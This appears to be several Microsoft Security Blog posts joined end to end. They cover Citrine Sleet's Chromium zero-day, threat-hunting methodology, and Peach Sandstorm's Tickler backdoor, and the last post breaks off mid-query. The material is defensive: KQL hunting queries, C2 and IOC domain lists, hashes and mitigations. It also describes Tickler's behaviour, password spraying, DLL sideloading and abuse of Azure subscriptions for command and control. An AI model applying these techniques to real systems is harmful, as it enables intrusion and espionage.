• Emerging threat activity group Citrine Sleet detected

Microsoft Defender Vulnerability Management

Microsoft Defender Vulnerability Management surfaces devices that may be affected by the following vulnerabilities used in this threat:

• CVE-2024-7971
• CVE-2024-38106

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence and protection information, and recommend actions to help prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender Threat Intelligence

• Actor profile: Citrine Sleet
• Actor profile: Diamond Sleet
• Tool profile: AppleJeus

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Citrine Sleet domain activity

Microsoft Defender XDR customers may query for devices that may have interacted with Citrine Sleet domains related to this activity. Note that Microsoft Defender for Endpoint customers may surface related events with the alert title “Emerging threat activity group Citrine Sleet detected”.

let domainList = dynamic(["weinsteinfrog.com", "voyagorclub.space"]);
union
(
    DnsEvents
    | where QueryType has_any(domainList) or Name has_any(domainList)
    | project TimeGenerated, Domain = QueryType, SourceTable = "DnsEvents"
),
(
    IdentityQueryEvents
    | where QueryTarget has_any(domainList)
    | project Timestamp, Domain = QueryTarget, SourceTable = "IdentityQueryEvents"
),
(
    DeviceNetworkEvents
    | where RemoteUrl has_any(domainList)
    | project Timestamp, Domain = RemoteUrl, SourceTable = "DeviceNetworkEvents"
),
(
    DeviceNetworkInfo
    | extend DnsAddresses = parse_json(DnsAddresses), ConnectedNetworks = parse_json(ConnectedNetworks)
    | mv-expand DnsAddresses, ConnectedNetworks
    | where DnsAddresses has_any(domainList) or ConnectedNetworks.Name has_any(domainList)
    | project Timestamp, Domain = coalesce(DnsAddresses, ConnectedNetworks.Name), SourceTable = "DeviceNetworkInfo"
),
(
    VMConnection
    | extend RemoteDnsQuestions = parse_json(RemoteDnsQuestions), RemoteDnsCanonicalNames = parse_json(RemoteDnsCanonicalNames)
    | mv-expand RemoteDnsQuestions, RemoteDnsCanonicalNames
    | where RemoteDnsQuestions has_any(domainList) or RemoteDnsCanonicalNames has_any(domainList)
    | project TimeGenerated, Domain = coalesce(RemoteDnsQuestions, RemoteDnsCanonicalNames), SourceTable = "VMConnection"
),
(
    W3CIISLog
    | where csHost has_any(domainList) or csReferer has_any(domainList)
    | project TimeGenerated, Domain = coalesce(csHost, csReferer), SourceTable = "W3CIISLog"
),
(
    EmailUrlInfo
    | where UrlDomain has_any(domainList)
    | project Timestamp, Domain = UrlDomain, SourceTable = "EmailUrlInfo"
),
(
    UrlClickEvents
    | where Url has_any(domainList)
    | project Timestamp, Domain = Url, SourceTable = "UrlClickEvents"
)
| order by TimeGenerated desc

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Search for domain IOCs

let domainList = dynamic(["weinsteinfrog.com", "voyagorclub.space"]); 
union 
( 
DnsEvents 
| where QueryType has_any(domainList) or Name has_any(domainList) 
| project TimeGenerated, Domain = QueryType, SourceTable = "DnsEvents" 
), 
( 
IdentityQueryEvents 
| where QueryTarget has_any(domainList) 
| project TimeGenerated, Domain = QueryTarget, SourceTable = "IdentityQueryEvents" 
), 
( 
DeviceNetworkEvents 
| where RemoteUrl has_any(domainList) 
| project TimeGenerated, Domain = RemoteUrl, SourceTable = "DeviceNetworkEvents" 
), 
( 
DeviceNetworkInfo 
| extend DnsAddresses = parse_json(DnsAddresses), ConnectedNetworks = parse_json(ConnectedNetworks) 
| mv-expand DnsAddresses, ConnectedNetworks 
| where DnsAddresses has_any(domainList) or ConnectedNetworks.Name has_any(domainList) 
| project TimeGenerated, Domain = coalesce(DnsAddresses, ConnectedNetworks.Name), SourceTable = "DeviceNetworkInfo" 
), 
( 
VMConnection 
| extend RemoteDnsQuestions = parse_json(RemoteDnsQuestions), RemoteDnsCanonicalNames = parse_json(RemoteDnsCanonicalNames) 
| mv-expand RemoteDnsQuestions, RemoteDnsCanonicalNames 
| where RemoteDnsQuestions has_any(domainList) or RemoteDnsCanonicalNames has_any(domainList) 
| project TimeGenerated, Domain = coalesce(RemoteDnsQuestions, RemoteDnsCanonicalNames), SourceTable = "VMConnection" 
), 
( 
W3CIISLog 
| where csHost has_any(domainList) or csReferer has_any(domainList) 
| project TimeGenerated, Domain = coalesce(csHost, csReferer), SourceTable = "W3CIISLog" 
), 
( 
EmailUrlInfo 
| where UrlDomain has_any(domainList) 
| project TimeGenerated, Domain = UrlDomain, SourceTable = "EmailUrlInfo" 
), 
( 
UrlClickEvents 
| where Url has_any(domainList) 
| project TimeGenerated, Domain = Url, SourceTable = "UrlClickEvents" 
),
(
CommonSecurityLog
| where DestinationDnsDomain has_any(domainList)
| project TimeGenerated, Domain = DestinationDnsDomain, SourceTable = "CommonSecurityLog" 
),
(
EmailEvents
| where SenderFromDomain has_any (domainList) or SenderMailFromDomain has_any (domainList)
| project TimeGenerated, SenderfromDomain = SenderFromDomain,SenderMailfromDomain = SenderMailFromDomain, SourceTable = "EmailEvents"
)
| order by TimeGenerated desc

Assess presence of vulnerabilities used by Citrine Sleet

DeviceTvmSoftwareVulnerabilities  
| where CveId has_any ("CVE-2024-7971","CVE-2024-38106","CVE-2024-38193","CVE-2024-21338")
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,  
CveId,VulnerabilitySeverityLevel  
| join kind=inner ( DeviceTvmSoftwareVulnerabilitiesKB | project CveId, CvssScore,IsExploitAvailable,VulnerabilitySeverityLevel,PublishedDate,VulnerabilityDescription,AffectedSoftware ) on CveId  
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,  
CveId,VulnerabilitySeverityLevel,CvssScore,IsExploitAvailable,PublishedDate,VulnerabilityDescription,AffectedSoftware

Indicators of compromise

During the attacks, Microsoft observed the following IOCs:

• voyagorclub[.]space
• weinsteinfrog[.]com

References

• https://nvd.nist.gov/vuln/detail/CVE-2024-7971
• https://chromereleases.googleblog.com/2024/08/stable-channel-update-for-desktop_21.html
• https://nvd.nist.gov/vuln/detail/CVE-2024-4947
• https://nvd.nist.gov/vuln/detail/CVE-2024-5274
• https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/
• https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Lazarus-and-BYOVD-evil-to-the-Windows-core.pdf
• https://asec.ahnlab.com/wp-content/uploads/2022/09/Analysis-Report-on-Lazarus-Groups-Rootkit-Attack-Using-BYOVD_Sep-22-2022.pdf
• https://decoded.avast.io/luiginocamastra/from-byovd-to-a-0-day-unveiling-advanced-exploits-in-cyber-recruiting-scams/
• https://www.gendigital.com/blog/news/innovation/protecting-windows-users
• https://www.google.com/chrome/update/
• https://chromereleases.googleblog.com/2024/08/stable-channel-update-for-desktop_21.html

Learn more

Read our blogs on threat actors, including Sleet actors. For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post North Korean threat actor Citrine Sleet exploiting Chromium zero-day appeared first on Microsoft Security Blog.

Microsoft Incident Response

Strengthen your security with an end-to-end portfolio of proactive and reactive cybersecurity incident response services.

Learn more

Threat intelligence is often oversimplified to represent a feed of indicators of compromise (IOCs). The intersection between multiple types of threat intelligence, however, enables organizations and their threat hunters to have a holistic understanding of the cyberattackers and techniques that can and will target them. With this comprehensive cheat sheet of knowledge, threat hunters can not only increase efficiency when responding to a compromise, but proactively hunt their systems for anomalies and fine-tune protection and detection mechanisms. 

Figure 1. Three types of threat intelligence.

Figure 1 introduces three types of threat intelligence that will be outlined in this blog—strategic, operational, and tactical. It provides a visualization of organizational effort versus the value gained when utilizing threat intelligence in more than one way. Typically, security teams integrate IOC cyberthreat feeds at a tactical level, but incorporating threat intelligence operationally requires daily investment, especially when alert queues seem endless. Strategic threat intelligence may seem familiar to most organizations but can be challenging to apply effectively, as this requires concentrated effort at multiple levels to understand the organization’s position within the overall threat landscape. How can threat hunters leverage these types of threat intelligence effectively for the benefit of their organization? 

Strategic threat intelligence: Informed hunting driven by the overarching cyberthreat landscape 

Security teams should be industry aware—being cognizant of the types of digital threats and current trends affecting industry verticals allows any team to be better prepared for potential compromise. Strategic threat intelligence is fundamentally based on understanding threat actor motives, which gives organizations an understanding of which threat actors they should be most conscious of in relation to the industry vertical or their most valuable resources. For example, government entities are traditionally targeted by nation-state advanced persistent threats (APTs) to perform cyber espionage, whereas organizations in the healthcare industry are commonly targeted by cybercriminal actor groups for ransomware operations and financial extortion due to the sensitivity of the data they possess. Understanding where the organization fits into this strategic picture determines the investment where its resources (people and time) may be constrained. Furthermore, it’s a key step toward developing an effective threat-informed defense strategy prioritizing the cyberattacks that target the organization.  

Operational threat intelligence: Informed hunting to proactively understand the environment and its data 

Having broad visibility into an organization’s attack surface is imperative when applying threat intelligence at an operational level. The crucial components spanning the perimeter of the on-premises network and extended entities such as cloud, software-as-a-service, and overall supply chain should be well understood: 

• Where are the tier 0 systems in the organization? 
• What intermediary lateral movement pathways exist to tier 0 systems? 
• What security controls across the environment are (or aren’t) in place? 
• What telemetry is produced by all systems in the environment?  

Security teams should proactively analyze the data that comes from these entities to develop a baseline of normal operations. Along with this baseline, threat hunters should comprehend and exercise organizational processes. In the event of an identified anomaly, how is that behavior deconflicted? What teams within the organization need to be consulted? What is the process for ensuring false positives can be reported and circulated efficiently and effectively? Considering the secondary questions and tertiary actions of response steps greatly benefits threat hunting timeliness, staving off confusion during a rapidly evolving incident.

Tactical threat intelligence: Informed hunting to reactively respond to a live cyberthreat 

Tactical threat intelligence is often an organization’s main integration to enhance a threat hunt, particularly in response to an active cyberattack scenario. Known-bad entities and atomic indicators such as IP addresses, domains, and file hashes are used to identify anomalies aligning to attacker techniques against targeted systems quickly. Additionally, if the cyberattack is already attributed to a threat actor, or the attack aligns to a particular motive, security teams can use these patterns of behavior to prioritize their hunting scope to their known tactics, techniques, and procedures. Novel indicators or associated research from the analysis should be shared with other vetted threat hunters within the organization and are a particularly valuable contribution to the wider threat intelligence community to further enrich detections for all organizations.  

Putting it together: Threat intelligence and iterative threat hunting 

Armed with this breakdown, threat hunters can now turn their attention to using varied threat intelligence to execute threat hunts and track down threat actors. The threat hunting iterative workflow shown in Figure 2 is something security teams will likely be familiar with; but are threat intelligence artifacts effectively being applied to create a holistic threat-informed defense strategy? 

Figure 2. Feeding threat intelligence artifacts into an iterative threat hunting workflow.

When preparing a hunt, threat hunters should seek to apply strategic threat intelligence to prioritize the cyberthreats that target the organization. This directly leads into the hypothesis phase. Threat hunters include the gathered strategic artifacts in a hunt hypothesis based on the trends or threat actors impacting other organizations in the same vertical. This casts a wide net to identify anomalies and behaviors common to the industry. They are not limiting the hunt based on any one IOC, rather using the collective intelligence learned from similar intrusions to detect or prevent the attack scenario. For every investigation, whether it be proactive or reactive, Microsoft Incident Response threat hunters consider other incidents impacting victim organizations in the same industry as a guiding force to efficiently identify focus areas of analysis, leveraging research from Microsoft Threat Intelligence that outlines any applicable threat actor attribution. 

Daily workflows should be enhanced with operational threat intelligence artifacts to determine an environmental baseline. Proactive hunt hypotheses should seek to test the understanding and actively seek to identify gaps in various aspects of the baseline, identifying any behavioral anomalies straying from “normal operations” and developing high-fidelity, real-world detections based on the true attempts at intrusion to their environments. Existing detections should be continuously reviewed and refined, hunting threads should include interrogation of both successful and failed access attempts, and data integrity should be verified. Security teams should question if: 

• Centralized data is both complete and accurate—identifying if there are any gaps in the data and why. 
• The schema is consistent between all data sources (for example, timestamp accuracy). 
• The correct fields are flowing through from their distributed systems’ sources.  

When security teams embody being the experts of their environment, they become more adept at identifying when a proactive threat hunt shifts into reactive response to active threat. This is invaluable when improving the speed of returning to normal operations and engaging additional support such as Microsoft Incident Response, who can enhance the hunt with threat intelligence from previous global incidents, working with the customer to deconflict abnormalities quickly for swift takeback and eviction of threat actors. 

When incident response teams like Microsoft Incident Response are engaged during a reactive incident, the objective of threat hunting is to conduct analysis of live, historical, and contextual data on targeted and compromised systems and provide a detailed story of not only the attack chain, but the threat actor(s) conducting that attack. Enriching a threat hunt with tactical threat intelligence artifacts in the form of IOCs concentrates investigation scope and allows for rapid identification of threat actor activity. As the hunt progresses, relational entities to that indicator are uncovered, such as the identities involved in activity execution and lateral movement paths to different systems. Attention shifts from atomic indicators such as IP addresses and malicious domains, to artifacts left directly on compromised systems, such as commands that were run or persistent backdoors that were installed. This builds an end-to-end timeline of malicious activity and related indicators for organizations to stay informed, implement target security controls, and prevent the same, or similar, incidents in the future.  

Adhering to the collaborative cycle of threat intelligence, Microsoft Incident Response contributes front-line research to enhance and further develop detections for customers worldwide. Entities are aligned with industry frameworks such as the Diamond Model, to build threat actor profiles detailing the relationship between adversaries’ infrastructure, capabilities and victims. Microsoft Threat Intelligence is available in Microsoft Defender XDR for the community and fellow security teams to consume, validate, and refine into proactive detections for the organization. 

How Microsoft Incident Response can support proactive threat protection

Microsoft Incident Response has cultivated and relies upon implementing the cycle between incident response and threat intelligence to protect our customers, leveraging insights from 78 trillion signals per day. Organizations can proactively position themselves to be well-informed by the threats targeting their organization by implementing threat intelligence in a holistic way, before an incident begins.  

Embracing a collaborative culture amongst the threat intelligence community to not only consume entities, but to further contribute, refine, and enhance existing research, results in improved detections, controls, and automation, allowing all security professionals to get behind the same goal—track down and protect themselves from threat actors and their malicious intent.  

You can read more blogs from Microsoft Incident Response. For more security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

Learn more

Learn more about Microsoft Incident Response.

To get notified about new Microsoft Threat Intelligence publications and to join discussions on social media, follow us on X (@MsftSecIntel).

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

¹The art and science behind Microsoft threat hunting: Part 1, Microsoft Incident Response Team. September 9, 2022.

²The art and science behind Microsoft threat hunting: Part 2, Microsoft Incident Response Team. September 21, 2022.

The post The art and science behind Microsoft threat hunting: Part 3 appeared first on Microsoft Security Blog.

Peach Sandstorm also continued conducting password spray attacks against the educational sector for infrastructure procurement and against the satellite, government, and defense sectors as primary targets for intelligence collection. In addition, Microsoft observed intelligence gathering and possible social engineering targeting organizations within the higher education, satellite, and defense sectors via the professional networking platform LinkedIn.

Microsoft assesses that Peach Sandstorm operates on behalf of the Iranian Islamic Revolutionary Guard Corps (IRGC) based on the group’s victimology and operational focus. Microsoft further assesses that Peach Sandstorm’s operations are designed to facilitate intelligence collection in support of Iranian state interests.

Microsoft tracks Peach Sandstorm campaigns and directly notifies customers who we observe have been targeted or compromised, providing them with the necessary information to help secure their environment. As part of our continuous monitoring, analysis, and reporting on the threat landscape, we are sharing our research on Peach Sandstorm’s use of Tickler to raise awareness of this threat actor’s evolving tradecraft and to educate organizations on how to harden their attack surfaces against this and similar activity. Microsoft published information on unrelated election interference linked to Iran in the most recent Microsoft Threat Analysis Center (MTAC) report.

Evolution of Peach Sandstorm tradecraft

In past campaigns, Peach Sandstorm has been observed to use password spray attacks to gain access to targets of interest with a high level of success. The threat actor has also conducted intelligence gathering via LinkedIn, researching organizations and individuals employed in the higher education, satellite, and defense sectors.

During the group’s latest operations, Microsoft observed new tactics, techniques, and procedures (TTPs) following initial access via password spray attacks or social engineering. Between April and July 2024, Peach Sandstorm deployed a new custom multi-stage backdoor, Tickler, and leveraged Azure infrastructure hosted in fraudulent, attacker-controlled Azure subscriptions for command-and-control (C2). Microsoft continuously monitors Azure, along with all Microsoft products and services, to ensure compliance with our terms of service. Microsoft has notified affected organizations and disrupted the fraudulent Azure infrastructure and accounts associated with this activity.

Intelligence gathering on LinkedIn

Going back to at least November 2021 and continuing through mid-2024, Microsoft observed Peach Sandstorm using multiple LinkedIn profiles masquerading as students, developers, and talent acquisition managers based in the US and Western Europe. Peach Sandstorm primarily used them to conduct intelligence gathering and possible social engineering against the higher education, satellite sectors, and related industries. The identified LinkedIn accounts were subsequently taken down. Information on LinkedIn’s policies and actions against inauthentic behavior on its platform is available here.

Password spray attacks as a common attack vector

Since at least February 2023, Microsoft has observed Peach Sandstorm carrying out password spray activity against thousands of organizations. In password spray attacks, threat actors attempt to authenticate to many different accounts using a single password or a list of commonly used passwords. In contrast to brute force attacks, which target a single account using many passwords, password spray attacks help adversaries maximize their chances for success and minimize the likelihood of automatic account lockouts.

Microsoft has observed that once Peach Sandstorm has verified a target account’s credentials using the password spray technique, the threat actor performed subsequent sign-ins to the compromised accounts from commercial VPN infrastructure.

In April and May 2024, Microsoft observed Peach Sandstorm conducting password spray attacks targeting organizations in the defense, space, education, and government sectors in the US and Australia. In particular, Peach Sandstorm continued to use the “go-http-client” user agent that they are known to leverage in password spray campaigns. While the password spray activity appeared consistently across sectors, Microsoft observed Peach Sandstorm exclusively leveraging compromised user accounts in the education sector to procure operational infrastructure. In these cases, the threat actor accessed existing Azure subscriptions or created one using the compromised account to host their infrastructure. The attacker-controlled Azure infrastructure then served as C2 or operational hops for Peach Sandstorm operations targeting the government, defense, and space sectors. Recent updates to security defaults in Azure, such as multi-factor authentication help ensure that Azure accounts are more resistant to account compromise techniques such as those used by Peach Sandstorm.

Tickler malware

Microsoft Threat Intelligence identified two samples of the Tickler malware, a custom multi-stage backdoor, that Peach Sandstorm deployed in compromised environments as recently as July 2024. The first sample was contained in an archive file named Network Security.zip alongside benign PDF files used as decoy documents. The archive file contained:

• YAHSAT NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20240421.pdf.exe – theTickler malware
• Yahsat Policy Guide- April 2024.pdf – a benign PDF
• YAHSAT NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20240421.pdf – a second benign PDF

YAHSAT NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20240421.pdf.exe is a 64-bit C/C++ based native PE file. The sample begins with a Process Environment Block (PEB) traversal to locate the in-memory address of file kernell32.dll.

Upon successful PEB traversal yielding the address of kernell32.dll in memory, the sample decrypts a string to LoadLibraryA and resolves its address, decrypts the string “kernel32.dll”, and loads it again using LoadLibraryA. The sample then launches the benign PDF file YAHSAT NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20240421.pdf as a decoy document.

The sample collects the network information from the host and sends it to the C2 URI via HTTP POST request, likely as a means for the threat actor to orient themselves on the compromised network. The below network information is an example generated in a lab environment:

We subsequently observed Peach Sandstorm iterating and improving on this initial sample. The second Tickler sample, sold.dll, is a Trojan dropper functionally identical to the previously identified sample. The malware downloads additional payloads from the C2 server, including a backdoor, a batch script to set persistence for this backdoor, and the following legitimate files:

• msvcp140.dll (SHA-256: dad53a78662707d182cdb230e999ef6effc0b259def31c196c51cc3e8c42a9b8)
• LoggingPlatform.dll (SHA-256: 56ac00856b19b41bc388ecf749eb4651369e7ced0529e9bf422284070de457b6)
• vcruntime140.dll (SHA-256: 22017c9b022e6f2560fee7d544a83ea9e3d85abee367f2f20b3b0448691fe2d4)
• Microsoft.SharePoint.NativeMessaging.exe (SHA-256: e984d9085ae1b1b0849199d883d05efbccc92242b1546aeca8afd4b1868c54f5)

The files msvcp140.dll, LoggingPlatform.dll, vcruntime140.dll, and Microsoft.SharePoint.NativeMessaging.exe are legitimate Windows signed binaries likely used for DLL sideloading.

Additionally, we observed the sample downloading the following malicious files:

• A batch script (SHA-256: 5df4269998ed79fbc997766303759768ce89ff1412550b35ff32e85db3c1f57b)
• A DLL file (SHA-256: fb70ff49411ce04951895977acfc06fa468e4aa504676dedeb40ba5cea76f37f)
• A DLL file (SHA-256: 711d3deccc22f5acfd3a41b8c8defb111db0f2b474febdc7f20a468f67db0350)

The batch script adds a registry Run key for a file called SharePoint.exe, likely used to load the malicious DLL files above, thus setting up persistence:

The two DLL files are both 64-bit C/C++ compiled PE DLL files and appear to be functionally identical to the previously analyzed samples. As fully functional backdoors, they can run the following commands:

• systeminfo – Gather system information
• dir – List directory
• run – Execute command
• delete – Delete file
• interval – Sleep interval
• upload – Download file from the C2
• download – Upload file to the C2

Azure resources abuse

Microsoft observed Peach Sandstorm creating Azure tenants using Microsoft Outlook email accounts and creating Azure for Students subscriptions in these tenants. Additionally, the group leveraged compromised user accounts in the Azure tenants of organizations in the education sector to do the same. Within these subscriptions, Peach Sandstorm subsequently created Azure resources for use as C2 for the backdoor. Of note, we have observed multiple Iranian groups, including Smoke Sandstorm, use similar techniques in recent months. The following resources were created by Peach Sandstorm for use as Tickler C2 nodes:

• subreviews.azurewebsites[.]net 
• satellite2.azurewebsites[.]net 
• nodetestservers.azurewebsites[.]net 
• satellitegardens.azurewebsites[.]net 
• softwareservicesupport.azurewebsites[.]net
• getservicessuports.azurewebsites[.]net
• getservicessupports.azurewebsites[.]net 
• getsupportsservices.azurewebsites[.]net 
• satellitespecialists.azurewebsites[.]net
• satservicesdev.azurewebsites[.]net
• servicessupports.azurewebsites[.]net
• websupportprotection.azurewebsites[.]net 
• supportsoftwarecenter.azurewebsites[.]net
• centersoftwaresupports.azurewebsites[.]net
• softwareservicesupports.azurewebsites[.]net
• getsdervicessupoortss.azurewebsites[.]net

Post-compromise activity

In the past year, Peach Sandstorm has successfully compromised several organizations, primarily in the aforementioned sectors, using bespoke tooling. Once Peach Sandstorm gains access to an organization, the threat actor is known to perform lateral movement and actions on objectives using the following techniques:

Moving laterally via Server Message Block (SMB)

After compromising a European defense organization, Peach Sandstorm threat actors moved laterally via SMB. SMB lateral movement is a technique used by threat actors to move from one compromised machine to another within a network by exploiting the SMB protocol. This protocol, which is used for sharing files, printers, and other resources on a network, could be misused by attackers to propagate their access and gain control over multiple systems.

Downloading and installing a remote monitoring and management (RMM) tool

In an older intrusion against a multinational pharmaceutical company not associated with the campaign discussed in this blog, after a likely successful password spray attack, Peach Sandstorm attempted to download and install AnyDesk, a commercial RMM tool. AnyDesk has a range of capabilities that allow users to remotely access a network, persist in a compromised environment, and enable command and control. The convenience and utility of a tool like AnyDesk is amplified by the fact that it might be permitted by application controls in environments where it is used legitimately by IT support personnel or system administrators.

Taking an Active Directory (AD) snapshot

In at least one intrusion against a Middle East-based satellite operator, Peach Sandstorm actors compromised a user using a malicious ZIP file delivered via Microsoft Teams message followed by dropping AD Explorer and taking an AD snapshot. An AD snapshot is a read-only, point-in-time copy of the AD database and related files, which can be used for various legitimate administrative tasks. These snapshots can also be exploited by threat actors for malicious purposes.

Mitigations

To harden networks against Peach Sandstorm activity, defenders can implement the following:

• Reset account passwords for any accounts targeted during a password spray attack. If a targeted account had system-level permissions, further investigation may be warranted. 
• Revoke session cookies in addition to resetting passwords. 
  • Revoke any MFA setting changes made by the attacker on any compromised users’ accounts. 
  • Require re-challenging MFA for MFA updates as the default. 
• Implement the Azure Security Benchmark and general best practices for securing identity infrastructure, including:  
  • Create conditional access policies to allow or disallow access to the environment based on defined criteria. 
  • Block legacy authentication with Microsoft Entra by using Conditional Access. Legacy authentication protocols don’t have the ability to enforce multifactor authentication (MFA), so blocking such authentication methods will help prevent password spray attackers from taking advantage of the lack of MFA on those protocols. 
  • Enable AD FS web application proxy extranet lockout to protect users from potential password brute force compromise. 
• Secure accounts with credential hygiene: 
  • Practice the principle of least privilege and audit privileged account activity in your Microsoft Entra environments to help slow and stop attackers.  
  • Deploy Microsoft Entra Connect Health for Active Directory Federation Services (AD FS). This captures failed attempts as well as IP addresses recorded in AD FS logs for bad requests in the Risky IP report. 
  • Use Microsoft Entra password protection to help detect and block known weak passwords and their variants. 
  • Turn on identity protection in Microsoft Entra to monitor for identity-based risks and create policies for risky sign ins. 
• Comply with the recent MFA enforcement policy requiring all Azure accounts to utilize MFA. Keep MFA always-on for privileged accounts and apply risk-based MFA for normal accounts.
  • Consider transitioning to a passwordless primary authentication method, such as Azure MFA, certificates, or Windows Hello for Business. 
• Secure remote desktop protocol (RDP) or Windows Virtual Desktop endpoints with MFA to harden against password spray or brute force attacks.

To protect against password spray attacks, implement the following mitigations:

• Eliminate insecure passwords.
• Educate users to review sign-in activity and mark suspicious sign-in attempts as “This wasn’t me”.
• Reset account passwords for any accounts targeted during a password spray attack. If a targeted account had system-level permissions, further investigation may be warranted.
• Detect, investigate, and remediate identity-based attacks using solutions like Microsoft Entra ID Protection.
• Investigate compromised accounts using Microsoft Purview Audit (Premium).
• Enforce on-premises Microsoft Entra Password Protection for Microsoft Active Directory Domain Services.
• Use risk detections for user sign-ins to trigger multifactor authentication or password changes.
• Investigate any possible password spray activity using the password spray investigation playbook.

Strengthen endpoints against attacks by following these steps:

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to help cover rapidly evolving attacker tools and techniques. 
• Enable real-time protection in Microsoft Defender Antivirus or the equivalent for your antivirus product. 
• Detect and block potentially unwanted applications through Microsoft Defender for Endpoint. 
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can help block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat, or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to help remediate malicious artifacts that are detected post-compromise. 
• Turn on attack surface reduction rules to help prevent common attack techniques:  
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion  
  • Block execution of potentially obfuscated scripts 
• Implement anomaly detection policies in Microsoft Defender for Cloud Apps. 
• Enable protections in Microsoft Defender for Endpoint to help safeguard against malicious sites and internet-based threats. 
  • Network protection 
  • Web protection 
• Enable tamper protection within Microsoft Defender for Endpoint to help prevent threat actors from disabling or changing security features, such as virus and threat protection.

Microsoft Defender XDR detections

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects components of this threat as the following malware:

• TrojanDownloader:Win64/Tickler
• Backdoor:Win64/Tickler

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts can indicate associated threat activity:

• Peach Sandstorm actor activity detected

The following alerts might also indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.

• Password spraying
• Unfamiliar Sign-in properties
• An executable file loaded an unexpected DLL file

Microsoft Defender for Identity

The following Microsoft Defender for Identity alerts can indicate activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.

• Atypical travel
• Suspicious behavior: Impossible travel activity

Microsoft Defender for Cloud Apps

The following Microsoft Defender for Cloud Apps alerts can indicate activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.

• Activity from a Tor IP address
• Suspicious Administrative Activity
• Impossible travel activity
• Multiple failed login attempts
• Activity from an anonymous proxy

Threat intelligence reports

Microsoft Defender Threat Intelligence customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to help prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender Threat Intelligence

• Abuse of remote monitoring and management tools
• DLL sideloading and DLL search order hijacking

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Failed logon activity

The following query identifies failed attempts to sign-in from multiple sources that originate from a single ISP. Attackers distribute attacks from multiple IP addresses across a single service provider to evade detection. Run query 

IdentityLogonEvents
| where Timestamp > ago(4h)
| where ActionType == "LogonFailed"
| where isnotempty(AccountObjectId)
| summarize TargetCount = dcount(AccountObjectId), TargetCountry = dcount(Location), TargetIPAddress = dcount(IPAddress) by ISP
| where TargetCount >= 100
| where TargetCountry >= 5
| where TargetIPAddress >= 25

Connectivity to C2s

The following queries identifies connectivity to Peach Sandstorm created Azure App Service apps for command and control. Run query

let domainList = dynamic(["subreviews.azurewebsites.net", 
    "satellite2.azurewebsites.net",
    "nodetestservers.azurewebsites.net", 
    "satellitegardens.azurewebsites.net",
    "softwareservicesupport.azurewebsites.net",
    "getservicessuports.azurewebsites.net",
    "getservicessupports.azurewebsites.net",
    "getsupportsservices.azurewebsites.net",
    "satellitespecialists.azurewebsites.net",
    "satservicesdev.azurewebsites.net",
    "servicessupports.azurewebsites.net",
    "websupportprotection.azurewebsites.net ",
    "supportsoftwarecenter.azurewebsites.net",
    "centersoftwaresupports.azurewebsites.net"
    "softwareservicesupports.azurewebsites.net",
    "getsdervicessupoortss.azurewebsites.net"]);union
(
    DnsEvents
    | where QueryType has_any(domainList) or Name has_any(domainList)
    | project TimeGenerated, Domain = QueryType, SourceTable = "DnsEvents"
),
(
    IdentityQueryEvents
    | where QueryTarget has_any(domainList)
    | project Timestamp, Domain = QueryTarget, SourceTable = "IdentityQueryEvents"
),
(
    DeviceNetworkEvents
    | where RemoteUrl has_any(domainList)
    | project Timestamp, Domain = RemoteUrl, SourceTable = "DeviceNetworkEvents"
),
(
    DeviceNetworkInfo
    | extend DnsAddresses = parse_json(DnsAddresses), ConnectedNetworks = parse_json(ConnectedNetworks)
    | mv-expand DnsAddresses, ConnectedNetworks
    | where DnsAddresses has_any(domainList) or ConnectedNetworks.Name has_any(domainList)
    | project Timestamp, Domain = coalesce(DnsAddresses, ConnectedNetworks.Name), SourceTable = "DeviceNetworkInfo"
),
(
    VMConnection
    | extend RemoteDnsQuestions = parse_json(RemoteDnsQuestions), RemoteDnsCanonicalNames = parse_json(RemoteDnsCanonicalNames)
    | mv-expand RemoteDnsQuestions, RemoteDnsCanonicalNames
